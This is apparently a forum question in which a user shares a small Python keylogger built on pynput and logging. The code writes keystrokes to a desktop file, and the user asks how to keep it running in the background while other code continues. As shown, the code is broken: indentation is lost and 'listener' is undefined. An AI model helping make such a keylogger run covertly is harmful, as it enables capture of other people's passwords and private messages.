can you help? I tried making a Keylogger. I would like the keylogger to run in the background and allow the rest of the program to continue.The keylogger gets stuck in a loop, and doesn't execute the code after it. I'd like the program to print Hello World, while keylogger is still running. Code for reference below:
username = os.getlogin()
logging_directory = f"C:/Users/{username}/desktop"
logging.basicConfig(filename=f" {logging_directory}/keylogger.txt", level=logging.DEBUG, format="%(asctime)s: %(message)s")
def key_handler(key):
logging.info(key)
with Listener(on_press=key_handler) as Listener:
listener.join()
print('Hello World!')
i am using 3 imports: os,logging and Listener.